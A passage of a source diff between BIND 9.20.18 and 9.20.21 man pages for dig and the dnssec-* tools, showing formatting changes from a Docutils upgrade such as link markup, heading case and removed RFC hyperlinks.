\fBnamed(8)\fP \%<#\:std-iscman-named>, \fBdnssec\-keygen(8)\fP \%<#\:std-iscman-dnssec-keygen>, \fBRFC 1035\fP \%\&. .SH BUGS .sp There are probably too many query options. -.SH AUTHOR +.SH Author Internet Systems Consortium -.SH COPYRIGHT +.SH Copyright 2026, Internet Systems Consortium -.\" Generated by docutils manpage writer. -. +.\" End of generated man page. diff -Nru bind9-9.20.18/doc/man/dnssec-cds.1in bind9-9.20.21/doc/man/dnssec-cds.1in --- bind9-9.20.18/doc/man/dnssec-cds.1in 2026-01-09 13:41:22.178973687 +0000 +++ bind9-9.20.21/doc/man/dnssec-cds.1in 2026-03-13 22:17:47.057251411 +0000 @@ -1,4 +1,5 @@ -.\" Man page generated from reStructuredText. +.\" Man page generated from reStructuredText +.\" by the Docutils 0.22.4 manpage writer. . . .nr rst2man-indent-level 0 @@ -43,23 +44,23 @@ parent can keep the DS records up\-to\-date and enable automatic rolling of KSKs. .sp -Two input files are required. The \fI\%\-f child\-file\fP option specifies a +Two input files are required. The \fB\-f child\-file\fP option specifies a file containing the child\(aqs CDS and/or CDNSKEY records, plus RRSIG and -DNSKEY records so that they can be authenticated. The \fI\%\-d path\fP option +DNSKEY records so that they can be authenticated. The \fB\-d path\fP option specifies the location of a file containing the current DS records. For example, this could be a \fBdsset\-\fP file generated by -\fI\%dnssec\-signzone\fP, or the output of \fI\%dnssec\-dsfromkey\fP, or the +\fBdnssec\-signzone\fP \%<#\:std-iscman-dnssec-signzone>, or the output of \fBdnssec\-dsfromkey\fP \%<#\:std-iscman-dnssec-dsfromkey>, or the output of a previous run of \fBdnssec\-cds\fP\&. .sp The \fBdnssec\-cds\fP command uses special DNSSEC validation logic -specified by \X'tty: link https://datatracker.ietf.org/doc/html/rfc7344.html'\fI\%RFC 7344\fP\X'tty: link'\&. It requires that the CDS and/or CDNSKEY records +specified by \fBRFC 7344\fP \%\&. It requires that the CDS and/or CDNSKEY records be validly signed by a key represented in the existing DS records. This is typically the pre\-existing KSK. .sp For protection against replay attacks, the signatures on the child records must not be older than they were on a previous run of \fBdnssec\-cds\fP\&. Their age is obtained from the modification time of the -\fBdsset\-\fP file, or from the \fI\%\-s\fP option. +\fBdsset\-\fP file, or from the \fB\-s\fP option. .sp To protect against breaking the delegation, \fBdnssec\-cds\fP ensures that the DNSKEY RRset can be verified by every key algorithm in the new DS @@ -67,21 +68,21 @@ type. .sp By default, replacement DS records are written to the standard output; -with the \fI\%\-i\fP option the input file is overwritten in place. The +with the \fB\-i\fP option the input file is overwritten in place. The replacement DS records are the same as the existing records, when no change is required. The output can be empty if the CDS/CDNSKEY records specify that the child zone wants to be insecure. .sp -\fBWARNING:\fP +\fBWarning:\fP .INDENT 0.0 .INDENT 3.5 Be careful not to delete the DS records when \fBdnssec\-cds\fP fails! .UNINDENT .UNINDENT .sp -Alternatively, :option\(gadnssec\-cds \-u\(ga writes an \fI\%nsupdate\fP script to the -standard output. The \fI\%\-u\fP and \fI\%\-i\fP options can be used together to -maintain a \fBdsset\-\fP file as well as emit an \fI\%nsupdate\fP script. +Alternatively, :option\(gadnssec\-cds \-u\(ga writes an \fBnsupdate\fP \%<#\:std-iscman-nsupdate> script to the +standard output. The \fB\-u\fP and \fB\-i\fP options can be used together to +maintain a \fBdsset\-\fP file as well as emit an \fBnsupdate\fP \%<#\:std-iscman-nsupdate> script. .SH OPTIONS .INDENT 0.0 .TP @@ -121,7 +122,7 @@ .sp To protect against replay attacks, child records are rejected if they were signed earlier than the modification time of the \fBdsset\-\fP -file. This can be adjusted with the \fI\%\-s\fP option. +file. This can be adjusted with the \fB\-s\fP option. .UNINDENT .INDENT 0.0 .TP @@ -138,7 +139,7 @@ This option updates the \fBdsset\-\fP file in place, instead of writing DS records to the standard output. .sp -There must be no space between the \fI\%\-i\fP and the extension. If +There must be no space between the \fB\-i\fP and the extension. If no extension is provided, the old \fBdsset\-\fP is discarded. If an extension is present, a backup of the old \fBdsset\-\fP file is kept with the extension appended to its filename. @@ -172,13 +173,13 @@ .INDENT 0.0 .TP .B \-u -This option writes an \fI\%nsupdate\fP script to the standard output, instead of +This option writes an \fBnsupdate\fP \%<#\:std-iscman-nsupdate> script to the standard output, instead of printing the new DS reords. The output is empty if no change is needed. .sp Note: The TTL of new records needs to be specified: it can be done in the -original \fBdsset\-\fP file, with the \fI\%\-T\fP option, or using the -\fI\%nsupdate\fP \fBttl\fP command. +original \fBdsset\-\fP file, with the \fB\-T\fP option, or using the +\fBnsupdate\fP \%<#\:std-iscman-nsupdate> \fBttl\fP command. .UNINDENT .INDENT 0.0 .TP @@ -205,11 +206,11 @@ changed. .SH EXAMPLES .sp -Before running \fI\%dnssec\-signzone\fP, ensure that the delegations +Before running \fBdnssec\-signzone\fP \%<#\:std-iscman-dnssec-signzone>, ensure that the delegations are up\-to\-date by running \fBdnssec\-cds\fP on every \fBdsset\-\fP file. .sp To fetch the child records required by \fBdnssec\-cds\fP, invoke -\fI\%dig\fP as in the script below. It is acceptable if the \fI\%dig\fP fails, since +\fBdig\fP \%<#\:std-iscman-dig> as in the script below. It is acceptable if the \fBdig\fP \%<#\:std-iscman-dig> fails, since \fBdnssec\-cds\fP performs all the necessary checking. .INDENT 0.0 .INDENT 3.5 @@ -225,8 +226,8 @@ .UNINDENT .UNINDENT .sp -When the parent zone is automatically signed by \fI\%named\fP, -\fBdnssec\-cds\fP can be used with \fI\%nsupdate\fP to maintain a delegation as follows. +When the parent zone is automatically signed by \fBnamed\fP \%<#\:std-iscman-named>, +\fBdnssec\-cds\fP can be used with \fBnsupdate\fP \%<#\:std-iscman-nsupdate> to maintain a delegation as follows. The \fBdsset\-\fP file allows the script to avoid having to fetch and validate the parent DS records, and it maintains the replay attack protection time. @@ -242,11 +243,10 @@ .UNINDENT .SH SEE ALSO .sp -\fI\%dig(1)\fP, \fI\%dnssec\-settime(8)\fP, \fI\%dnssec\-signzone(8)\fP, \fI\%nsupdate(1)\fP, BIND 9 Administrator -Reference Manual, \X'tty: link https://datatracker.ietf.org/doc/html/rfc7344.html'\fI\%RFC 7344\fP\X'tty: link'\&. -.SH AUTHOR +\fBdig(1)\fP \%<#\:std-iscman-dig>, \fBdnssec\-settime(8)\fP \%<#\:std-iscman-dnssec-settime>, \fBdnssec\-signzone(8)\fP \%<#\:std-iscman-dnssec-signzone>, \fBnsupdate(1)\fP \%<#\:std-iscman-nsupdate>, BIND 9 Administrator +Reference Manual, \fBRFC 7344\fP \%\&. +.SH Author Internet Systems Consortium -.SH COPYRIGHT +.SH Copyright 2026, Internet Systems Consortium -.\" Generated by docutils manpage writer. -. +.\" End of generated man page. diff -Nru bind9-9.20.18/doc/man/dnssec-dsfromkey.1in bind9-9.20.21/doc/man/dnssec-dsfromkey.1in --- bind9-9.20.18/doc/man/dnssec-dsfromkey.1in 2026-01-09 13:41:22.186973899 +0000 +++ bind9-9.20.21/doc/man/dnssec-dsfromkey.1in 2026-03-13 22:17:47.063251504 +0000 @@ -1,4 +1,5 @@ -.\" Man page generated from reStructuredText. +.\" Man page generated from reStructuredText +.\" by the Docutils 0.22.4 manpage writer. . . .nr rst2man-indent-level 0 @@ -43,35 +44,35 @@ .sp The \fBdnssec\-dsfromkey\fP command outputs DS (Delegation Signer) resource records (RRs), or CDS (Child DS) RRs with the -\fI\%\-C\fP option. +\fB\-C\fP option. .sp By default, only KSKs are converted (keys with flags = 257). The -\fI\%\-A\fP option includes ZSKs (flags = 256). Revoked keys are +\fB\-A\fP option includes ZSKs (flags = 256). Revoked keys are never included. .sp The input keys can be specified in a number of ways: .sp By default, \fBdnssec\-dsfromkey\fP reads a key file named in the format \fBKnnnn.+aaa+iiiii.key\fP, as generated by -\fI\%dnssec\-keygen\fP\&. +\fBdnssec\-keygen\fP \%<#\:std-iscman-dnssec-keygen>\&. .sp -With the \fI\%\-f file\fP option, \fBdnssec\-dsfromkey\fP +With the \fB\-f file\fP option, \fBdnssec\-dsfromkey\fP reads keys from a zone file or partial zone file (which can contain just the DNSKEY records). .sp -With the \fI\%\-s\fP option, \fBdnssec\-dsfromkey\fP reads a -\fBkeyset\-\fP file, as generated by \fI\%dnssec\-keygen\fP \fI\%\-C\fP\&. +With the \fB\-s\fP option, \fBdnssec\-dsfromkey\fP reads a +\fBkeyset\-\fP file, as generated by \fBdnssec\-keygen\fP \%<#\:std-iscman-dnssec-keygen> \fB\-C\fP\&. .SH OPTIONS .INDENT 0.0 .TP .B \-1 -This option is an abbreviation for \fI\%\-a SHA1\fP\&. This +This option is an abbreviation for \fB\-a SHA1\fP\&. This digest is deprecated. .UNINDENT .INDENT 0.0 .TP .B \-2 -This option is an abbreviation for \fI\%\-a SHA\-256\fP\&. +This option is an abbreviation for \fB\-a SHA\-256\fP\&. .UNINDENT .INDENT 0.0 .TP @@ -90,13 +91,13 @@ This option indicates that ZSKs are to be included when generating DS records. Without this option, only keys which have the KSK flag set are converted to DS records and printed. This option -is only useful in \fI\%\-f\fP zone file mode. +is only useful in \fB\-f\fP zone file mode. .UNINDENT .INDENT 0.0 .TP .B \-c class This option specifies the DNS class; the default is IN. This -option is only useful in \fI\%\-s\fP keyset or \fI\%\-f\fP +option is only useful in \fB\-s\fP keyset or \fB\-f\fP zone file mode. .UNINDENT .INDENT 0.0 @@ -113,7 +114,7 @@ zone name is the same as \fBfile\fP, then it may be omitted. .sp If \fBfile\fP is \fB\-\fP, then the zone data is read from the standard -input. This makes it possible to use the output of the \fI\%dig\fP +input. This makes it possible to use the output of the \fBdig\fP \%<#\:std-iscman-dig> command as input, as in: .sp \fBdig dnskey example.com | dnssec\-dsfromkey \-f \- example.com\fP @@ -166,7 +167,7 @@ .sp The keyfile can be designated by the key identification \fBKnnnn.+aaa+iiiii\fP or the full file name \fBKnnnn.+aaa+iiiii.key\fP, as -generated by \fI\%dnssec\-keygen\fP\&. +generated by \fBdnssec\-keygen\fP \%<#\:std-iscman-dnssec-keygen>\&. .sp The keyset file name is built from the \fBdirectory\fP, the string \fBkeyset\-\fP, and the \fBdnsname\fP\&. @@ -175,12 +176,11 @@ A keyfile error may return \(dqfile not found,\(dq even if the file exists. .SH SEE ALSO .sp -\fI\%dnssec\-keygen(8)\fP, \fI\%dnssec\-signzone(8)\fP, BIND 9 Administrator Reference Manual, -\X'tty: link https://datatracker.ietf.org/doc/html/rfc3658.html'\fI\%RFC 3658\fP\X'tty: link' (DS RRs), \X'tty: link https://datatracker.ietf.org/doc/html/rfc4509.html'\fI\%RFC 4509\fP\X'tty: link' (SHA\-256 for DS RRs), -\X'tty: link https://datatracker.ietf.org/doc/html/rfc6605.html'\fI\%RFC 6605\fP\X'tty: link' (SHA\-384 for DS RRs), \X'tty: link https://datatracker.ietf.org/doc/html/rfc7344.html'\fI\%RFC 7344\fP\X'tty: link' (CDS and CDNSKEY RRs). -.SH AUTHOR +\fBdnssec\-keygen(8)\fP \%<#\:std-iscman-dnssec-keygen>, \fBdnssec\-signzone(8)\fP \%<#\:std-iscman-dnssec-signzone>, BIND 9 Administrator Reference Manual, +\fBRFC 3658\fP \% (DS RRs), \fBRFC 4509\fP \% (SHA\-256 for DS RRs), +\fBRFC 6605\fP \% (SHA\-384 for DS RRs), \fBRFC 7344\fP \% (CDS and CDNSKEY RRs). +.SH Author Internet Systems Consortium -.SH COPYRIGHT +.SH Copyright 2026, Internet Systems Consortium -.\" Generated by docutils manpage writer. -. +.\" End of generated man page. diff -Nru bind9-9.20.18/doc/man/dnssec-importkey.1in bind9-9.20.21/doc/man/dnssec-importkey.1in --- bind9-9.20.18/doc/man/dnssec-importkey.1in 2026-01-09 13:41:22.191974032 +0000 +++ bind9-9.20.21/doc/man/dnssec-importkey.1in 2026-03-13 22:17:47.068251581 +0000 @@ -1,4 +1,5 @@ -.\" Man page generated from reStructuredText. +.\" Man page generated from reStructuredText +.\" by the Docutils 0.22.4 manpage writer. . . .nr rst2man-indent-level 0 @@ -45,7 +46,7 @@ .sp The newly created .private file does \fInot\fP contain private key data, and cannot be used for signing. However, having a .private file makes it -possible to set publication (\fI\%\-P\fP) and deletion (\fI\%\-D\fP) times for the +possible to set publication (\fB\-P\fP) and deletion (\fB\-D\fP) times for the key, which means the public key can be added to and removed from the DNSKEY RRset on schedule even if the true private key is stored offline. .sp @@ -144,14 +145,13 @@ .sp A keyfile can be designed by the key identification \fBKnnnn.+aaa+iiiii\fP or the full file name \fBKnnnn.+aaa+iiiii.key\fP, as generated by -\fI\%dnssec\-keygen\fP\&. +\fBdnssec\-keygen\fP \%<#\:std-iscman-dnssec-keygen>\&. .SH SEE ALSO .sp -\fI\%dnssec\-keygen(8)\fP, \fI\%dnssec\-signzone(8)\fP, BIND 9 Administrator Reference Manual, -\X'tty: link https://datatracker.ietf.org/doc/html/rfc5011.html'\fI\%RFC 5011\fP\X'tty: link'\&. -.SH AUTHOR +\fBdnssec\-keygen(8)\fP \%<#\:std-iscman-dnssec-keygen>, \fBdnssec\-signzone(8)\fP \%<#\:std-iscman-dnssec-signzone>, BIND 9 Administrator Reference Manual, +\fBRFC 5011\fP \%\&. +.SH Author Internet Systems Consortium -.SH COPYRIGHT +.SH Copyright 2026, Internet Systems Consortium -.\" Generated by docutils manpage writer. -. +.\" End of generated man page. diff -Nru bind9-9.20.18/doc/man/dnssec-keyfromlabel.1in bind9-9.20.21/doc/man/dnssec-keyfromlabel.1in --- bind9-9.20.18/doc/man/dnssec-keyfromlabel.1in 2026-01-09 13:41:22.199974245 +0000 +++ bind9-9.20.21/doc/man/dnssec-keyfromlabel.1in 2026-03-13 22:17:47.078251737 +0000 @@ -1,4 +1,5 @@ -.\" Man page generated from reStructuredText. +.\" Man page generated from reStructuredText +.\" by the Docutils 0.22.4 manpage writer. . . .nr rst2man-indent-level 0 @@ -38,7 +39,7 @@ \fBdnssec\-keyfromlabel\fP generates a pair of key files that reference a key object stored in a cryptographic hardware service module (HSM). The private key file can be used for DNSSEC signing of zone data as if it -were a conventional signing key created by \fI\%dnssec\-keygen\fP, but the +were a conventional signing key created by \fBdnssec\-keygen\fP \%<#\:std-iscman-dnssec-keygen>, but the key material is stored within the HSM and the actual signing takes place there. .sp @@ -56,10 +57,10 @@ These values are case\-insensitive. In some cases, abbreviations are supported, such as ECDSA256 for ECDSAP256SHA256 and ECDSA384 for ECDSAP384SHA384. If RSASHA1 (deprecated) is specified along -with the \fI\%\-3\fP option, then NSEC3RSASHA1 (deprecated) is +with the \fB\-3\fP option, then NSEC3RSASHA1 (deprecated) is used instead. .sp -This option is mandatory except when using the \fI\%\-S\fP +This option is mandatory except when using the \fB\-S\fP option, which copies the algorithm from the predecessory key. .sp Changed in version 9.12.0: The default value RSASHA1 (deprecated) for newly generated @@ -111,7 +112,7 @@ date in the metadata stored with the private key; other dates may be set there as well, including publication date, activation date, etc. Keys that include this data may be incompatible with older versions of -BIND; the \fI\%\-C\fP option suppresses them. +BIND; the \fB\-C\fP option suppresses them. .UNINDENT .INDENT 0.0 .TP @@ -129,7 +130,7 @@ .TP .B \-G This option generates a key, but does not publish it or sign with it. This option is -incompatible with \fI\%\-P\fP and \fI\%\-A\fP\&. +incompatible with \fB\-P\fP and \fB\-A\fP\&. .UNINDENT .INDENT 0.0 .TP @@ -174,7 +175,7 @@ .B \-p protocol This option sets the protocol value for the key. The protocol is a number between 0 and 255. The default is 3 (DNSSEC). Other possible values for this -argument are listed in \X'tty: link https://datatracker.ietf.org/doc/html/rfc2535.html'\fI\%RFC 2535\fP\X'tty: link' and its successors. +argument are listed in \fBRFC 2535\fP \% and its successors. .UNINDENT .INDENT 0.0 .TP @@ -210,7 +211,7 @@ This option allows DNSSEC key files to be generated even if the key ID would collide with that of an existing key, in the event of either key being revoked. (This is only safe to enable if -\X'tty: link https://datatracker.ietf.org/doc/html/rfc5011.html'\fI\%RFC 5011\fP\X'tty: link' trust anchor maintenance is not used with either of the keys +\fBRFC 5011\fP \% trust anchor maintenance is not used with either of the keys involved.) .UNINDENT .SH TIMING OPTIONS @@ -238,7 +239,7 @@ .B \-P date/offset This option sets the date on which a key is to be published to the zone. After that date, the key is included in the zone but is not used -to sign it. If not set, and if the \fI\%\-G\fP option has not been used, the +to sign it. If not set, and if the \fB\-G\fP option has not been used, the default is the current date. .INDENT 7.0 .TP @@ -252,7 +253,7 @@ .B \-A date/offset This option sets the date on which the key is to be activated. After that date, the key is included in the zone and used to sign it. If not set, -and if the \fI\%\-G\fP option has not been used, the default is the current date. +and if the \fB\-G\fP option has not been used, the default is the current date. .UNINDENT .INDENT 0.0 .TP @@ -326,11 +327,10 @@ security reasons, this file does not have general read permission. .SH SEE ALSO .sp -\fI\%dnssec\-keygen(8)\fP, \fI\%dnssec\-signzone(8)\fP, BIND 9 Administrator Reference Manual, -\X'tty: link https://datatracker.ietf.org/doc/html/rfc4034.html'\fI\%RFC 4034\fP\X'tty: link', \X'tty: link https://datatracker.ietf.org/doc/html/rfc7512.html'\fI\%RFC 7512\fP\X'tty: link'\&. -.SH AUTHOR +\fBdnssec\-keygen(8)\fP \%<#\:std-iscman-dnssec-keygen>, \fBdnssec\-signzone(8)\fP \%<#\:std-iscman-dnssec-signzone>, BIND 9 Administrator Reference Manual, +\fBRFC 4034\fP \%, \fBRFC 7512\fP \%\&. +.SH Author Internet Systems Consortium -.SH COPYRIGHT +.SH Copyright 2026, Internet Systems Consortium -.\" Generated by docutils manpage writer. -. +.\" End of generated man page. diff -Nru bind9-9.20.18/doc/man/dnssec-keygen.1in bind9-9.20.21/doc/man/dnssec-keygen.1in --- bind9-9.20.18/doc/man/dnssec-keygen.1in 2026-01-09 13:41:22.210974537 +0000 +++ bind9-9.20.21/doc/man/dnssec-keygen.1in 2026-03-13 22:17:47.088251892 +0000 @@ -1,4 +1,5 @@ -.\" Man page generated from reStructuredText. +.\" Man page generated from reStructuredText +.\" by the Docutils 0.22.4 manpage writer. . . .nr rst2man-indent-level 0 @@ -36,7 +37,7 @@ .SH DESCRIPTION .sp \fBdnssec\-keygen\fP generates keys for DNSSEC (Secure DNS), as defined in -\X'tty: link https://datatracker.ietf.org/doc/html/rfc2535.html'\fI\%RFC 2535\fP\X'tty: link' and \X'tty: link https://datatracker.ietf.org/doc/html/rfc4034.html'\fI\%RFC 4034\fP\X'tty: link'\&. +\fBRFC 2535\fP \% and \fBRFC 4034\fP \%\&. .sp The \fBname\fP of the key is specified on the command line. For DNSSEC keys, this must match the name of the zone for which the key is being @@ -62,15 +63,15 @@ These values are case\-insensitive. In some cases, abbreviations are supported, such as ECDSA256 for ECDSAP256SHA256 and ECDSA384 for ECDSAP384SHA384. If RSASHA1 (deprecated) is specified along -with the \fI\%\-3\fP option, NSEC3RSASHA1 (deprecated) is used +with the \fB\-3\fP option, NSEC3RSASHA1 (deprecated) is used instead. .sp -This parameter \fImust\fP be specified except when using the \fI\%\-S\fP +This parameter \fImust\fP be specified except when using the \fB\-S\fP option, which copies the algorithm from the predecessor key. .sp In prior releases, HMAC algorithms could be generated for use as TSIG keys, but that feature was removed in BIND 9.13.0. Use -\fI\%tsig\-keygen\fP to generate TSIG keys. +\fBtsig\-keygen\fP \%<#\:std-iscman-tsig-keygen> to generate TSIG keys. .UNINDENT .INDENT 0.0 .TP @@ -83,7 +84,7 @@ If the key size is not specified, some algorithms have pre\-defined defaults. For example, RSA keys for use as DNSSEC zone\-signing keys have a default size of 1024 bits; RSA keys for use as key\-signing -keys (KSKs, generated with \fI\%\-f KSK\fP) default to 2048 bits. +keys (KSKs, generated with \fB\-f KSK\fP) default to 2048 bits. .UNINDENT .INDENT 0.0 .TP @@ -93,7 +94,7 @@ creation date in the metadata stored with the private key; other dates may be set there as well, including publication date, activation date, etc. Keys that include this data may be incompatible with older -versions of BIND; the \fI\%\-C\fP option suppresses them. +versions of BIND; the \fB\-C\fP option suppresses them. .UNINDENT .INDENT 0.0 .TP @@ -126,8 +127,8 @@ and REVOKE. .sp Note that ZSK is not a physical flag in the DNSKEY record, it is merely used -to explicitly tell that you want to create a ZSK. Setting \fI\%\-f\fP in -conjunction with \fI\%\-k\fP will result in generating keys that only +to explicitly tell that you want to create a ZSK. Setting \fB\-f\fP in +conjunction with \fB\-k\fP will result in generating keys that only match the given role set with this option. .UNINDENT .INDENT 0.0 @@ -141,7 +142,7 @@ .TP .B \-G This option generates a key, but does not publish it or sign with it. This option is -incompatible with \fI\%\-P\fP and \fI\%\-A\fP\&. +incompatible with \fB\-P\fP and \fB\-A\fP\&. .UNINDENT .INDENT 0.0 .TP @@ -180,7 +181,7 @@ .TP .B \-l file This option provides a configuration file that contains a \fBdnssec\-policy\fP statement -(matching the policy set with \fI\%\-k\fP). +(matching the policy set with \fB\-k\fP). .UNINDENT .INDENT 0.0 .TP @@ -209,9 +210,9 @@ .TP .B \-p protocol This option sets the protocol value for the generated key, for use with -\fI\%\-T KEY\fP\&. The protocol is a number between 0 and 255. The default +\fB\-T KEY\fP\&. The protocol is a number between 0 and 255. The default is 3 (DNSSEC). Other possible values for this argument are listed in -\X'tty: link https://datatracker.ietf.org/doc/html/rfc2535.html'\fI\%RFC 2535\fP\X'tty: link' and its successors. +\fBRFC 2535\fP \% and its successors. .UNINDENT .INDENT 0.0 .TP @@ -252,7 +253,7 @@ .INDENT 0.0 .TP .B \-t type -This option indicates the type of the key for use with \fI\%\-T KEY\fP\&. \fBtype\fP +This option indicates the type of the key for use with \fB\-T KEY\fP\&. \fBtype\fP must be one of AUTHCONF, NOAUTHCONF, NOAUTH, or NOCONF. The default is AUTHCONF. AUTH refers to the ability to authenticate data, and CONF to the ability to encrypt data. @@ -289,7 +290,7 @@ .B \-P date/offset This option sets the date on which a key is to be published to the zone. After that date, the key is included in the zone but is not used -to sign it. If not set, and if the \fI\%\-G\fP option has not been used, the +to sign it. If not set, and if the \fB\-G\fP option has not been used, the default is the current date. .INDENT 7.0 .TP @@ -303,8 +304,8 @@ .B \-A date/offset This option sets the date on which the key is to be activated. After that date, the key is included in the zone and used to sign it. If not set, -and if the \fI\%\-G\fP option has not been used, the default is the current date. If set, -and \fI\%\-P\fP is not set, the publication date is set to the +and if the \fB\-G\fP option has not been used, the default is the current date. If set, +and \fB\-P\fP is not set, the publication date is set to the activation date minus the prepublication interval. .UNINDENT .INDENT 0.0 @@ -373,7 +374,7 @@ \fBKnnnn.+aaa+iiiii.private\fP contains the private key. .sp The \fB\&.key\fP file contains a DNSKEY or KEY record. When a zone is being -signed by \fI\%named\fP or \fI\%dnssec\-signzone \-S\fP, DNSKEY records are +signed by \fBnamed\fP \%<#\:std-iscman-named> or \fBdnssec\-signzone \-S\fP \%<#\:cmdoption-dnssec-signzone-S>, DNSKEY records are included automatically. In other cases, the \fB\&.key\fP file can be inserted into a zone file manually or with an \fB$INCLUDE\fP statement. .sp @@ -398,11 +399,10 @@ \fBdnssec\-keygen \-a ECDSAP256SHA256 \-f KSK example.com\fP .SH SEE ALSO .sp -\fI\%dnssec\-signzone(8)\fP, BIND 9 Administrator Reference Manual, \X'tty: link https://datatracker.ietf.org/doc/html/rfc2539.html'\fI\%RFC 2539\fP\X'tty: link', -\X'tty: link https://datatracker.ietf.org/doc/html/rfc2845.html'\fI\%RFC 2845\fP\X'tty: link', \X'tty: link https://datatracker.ietf.org/doc/html/rfc4034.html'\fI\%RFC 4034\fP\X'tty: link'\&. -.SH AUTHOR +\fBdnssec\-signzone(8)\fP \%<#\:std-iscman-dnssec-signzone>, BIND 9 Administrator Reference Manual, \fBRFC 2539\fP \%, +\fBRFC 2845\fP \%, \fBRFC 4034\fP \%\&. +.SH Author Internet Systems Consortium -.SH COPYRIGHT +.SH Copyright 2026, Internet Systems Consortium -.\" Generated by docutils manpage writer. -. +.\" End of generated man page. diff -Nru bind9-9.20.18/doc/man/dnssec-ksr.1in bind9-9.20.21/doc/man/dnssec-ksr.1in --- bind9-9.20.18/doc/man/dnssec-ksr.1in 2026-01-09 13:41:22.215974670 +0000 +++ bind9-9.20.21/doc/man/dnssec-ksr.1in 2026-03-13 22:17:47.093251970 +0000 @@ -1,4 +1,5 @@ -.\" Man page generated from reStructuredText. +.\" Man page generated from reStructuredText +.\" by the Docutils 0.22.4 manpage writer. . . .nr rst2man-indent-level 0 @@ -101,7 +102,7 @@ .TP .B \-l file This option provides a configuration file that contains a \fBdnssec\-policy\fP -statement (matching the policy set with \fI\%\-k\fP). +statement (matching the policy set with \fB\-k\fP). .UNINDENT .INDENT 0.0 .TP @@ -199,12 +200,11 @@ in \fBmypolicy\fP\&. .SH SEE ALSO .sp -\fI\%dnssec\-keygen(8)\fP, -\fI\%dnssec\-signzone(8)\fP, +\fBdnssec\-keygen(8)\fP \%<#\:std-iscman-dnssec-keygen>, +\fBdnssec\-signzone(8)\fP \%<#\:std-iscman-dnssec-signzone>, BIND 9 Administrator Reference Manual. -.SH AUTHOR +.SH Author Internet Systems Consortium -.SH COPYRIGHT +.SH Copyright 2026, Internet Systems Consortium -.\" Generated by docutils manpage writer. -. +.\" End of generated man page. diff -Nru bind9-9.20.18/doc/man/dnssec-revoke.1in bind9-9.20.21/doc/man/dnssec-revoke.1in --- bind9-9.20.18/doc/man/dnssec-revoke.1in 2026-01-09 13:41:22.218974750 +0000 +++ bind9-9.20.21/doc/man/dnssec-revoke.1in 2026-03-13 22:17:47.096252016 +0000 @@ -1,4 +1,5 @@ -.\" Man page generated from reStructuredText. +.\" Man page generated from reStructuredText +.\" by the Docutils 0.22.4 manpage writer. . . .nr rst2man-indent-level 0 @@ -36,7 +37,7 @@ .SH DESCRIPTION .sp \fBdnssec\-revoke\fP reads a DNSSEC key file, sets the REVOKED bit on the -key as defined in \X'tty: link https://datatracker.ietf.org/doc/html/rfc5011.html'\fI\%RFC 5011\fP\X'tty: link', and creates a new pair of key files +key as defined in \fBRFC 5011\fP \%, and creates a new pair of key files containing the now\-revoked key. .SH OPTIONS .INDENT 0.0 @@ -88,10 +89,9 @@ .UNINDENT .SH SEE ALSO .sp -\fI\%dnssec\-keygen(8)\fP, BIND 9 Administrator Reference Manual, \X'tty: link https://datatracker.ietf.org/doc/html/rfc5011.html'\fI\%RFC 5011\fP\X'tty: link'\&. -.SH AUTHOR +\fBdnssec\-keygen(8)\fP \%<#\:std-iscman-dnssec-keygen>, BIND 9 Administrator Reference Manual, \fBRFC 5011\fP \%\&. +.SH Author Internet Systems Consortium -.SH COPYRIGHT +.SH Copyright 2026, Internet Systems Consortium -.\" Generated by docutils manpage writer. -. +.\" End of generated man page. diff -Nru bind9-9.20.18/doc/man/dnssec-settime.1in bind9-9.20.21/doc/man/dnssec-settime.1in --- bind9-9.20.18/doc/man/dnssec-settime.1in 2026-01-09 13:41:22.225974936 +0000 +++ bind9-9.20.21/doc/man/dnssec-settime.1in 2026-03-13 22:17:47.106252172 +0000 @@ -1,4 +1,5 @@ -.\" Man page generated from reStructuredText. +.\" Man page generated from reStructuredText +.\" by the Docutils 0.22.4 manpage writer. . . .nr rst2man-indent-level 0 @@ -36,9 +37,9 @@ .SH DESCRIPTION .sp \fBdnssec\-settime\fP reads a DNSSEC private key file and sets the key -timing metadata as specified by the \fI\%\-P\fP, \fI\%\-A\fP, \fI\%\-R\fP, -\fI\%\-I\fP, and \fI\%\-D\fP options. The metadata can then be used by -\fI\%dnssec\-signzone\fP or other signing software to determine when a key is +timing metadata as specified by the \fB\-P\fP, \fB\-A\fP, \fB\-R\fP, +\fB\-I\fP, and \fB\-D\fP options. The metadata can then be used by +\fBdnssec\-signzone\fP \%<#\:std-iscman-dnssec-signzone> or other signing software to determine when a key is to be published, whether it should be used for signing a zone, etc. .sp If none of these options is set on the command line, @@ -55,12 +56,12 @@ inaccessible to anyone other than the owner (mode 0600). .sp When working with state files, it is possible to update the timing metadata in -those files as well with \fI\%\-s\fP\&. With this option, it is also possible -to update key states with \fI\%\-d\fP (DS), \fI\%\-k\fP (DNSKEY), \fI\%\-r\fP -(RRSIG of KSK), or \fI\%\-z\fP (RRSIG of ZSK). Allowed states are HIDDEN, +those files as well with \fB\-s\fP\&. With this option, it is also possible +to update key states with \fB\-d\fP (DS), \fB\-k\fP (DNSKEY), \fB\-r\fP +(RRSIG of KSK), or \fB\-z\fP (RRSIG of ZSK). Allowed states are HIDDEN, RUMOURED, OMNIPRESENT, and UNRETENTIVE. .sp -The goal state of the key can also be set with \fI\%\-g\fP\&. This should be either +The goal state of the key can also be set with \fB\-g\fP\&. This should be either HIDDEN or OMNIPRESENT, representing whether the key should be removed from the zone or published. .sp @@ -275,7 +276,7 @@ .TP .B \-p C/P/Pds/Psync/A/R/I/D/Dds/Dsync/all This option prints a specific metadata value or set of metadata values. -The \fI\%\-p\fP option may be followed by one or more of the following letters or +The \fB\-p\fP option may be followed by one or more of the following letters or strings to indicate which value or values to print: \fBC\fP for the creation date, \fBP\fP for the publication date, \fBPds\(ga for the DS publication date, \(ga\(gaPsync\fP for the CDS and CDNSKEY publication date, \fBA\fP for the @@ -286,11 +287,10 @@ .UNINDENT .SH SEE ALSO .sp -\fI\%dnssec\-keygen(8)\fP, \fI\%dnssec\-signzone(8)\fP, BIND 9 Administrator Reference Manual, -\X'tty: link https://datatracker.ietf.org/doc/html/rfc5011.html'\fI\%RFC 5011\fP\X'tty: link'\&. -.SH AUTHOR +\fBdnssec\-keygen(8)\fP \%<#\:std-iscman-dnssec-keygen>, \fBdnssec\-signzone(8)\fP \%<#\:std-iscman-dnssec-signzone>, BIND 9 Administrator Reference Manual, +\fBRFC 5011\fP \%\&. +.SH Author Internet Systems Consortium -.SH COPYRIGHT +.SH Copyright 2026, Internet Systems Consortium -.\" Generated by docutils manpage writer. -. +.\" End of generated man page. diff -Nru bind9-9.20.18/doc/man/dnssec-signzone.1in bind9-9.20.21/doc/man/dnssec-signzone.1in --- 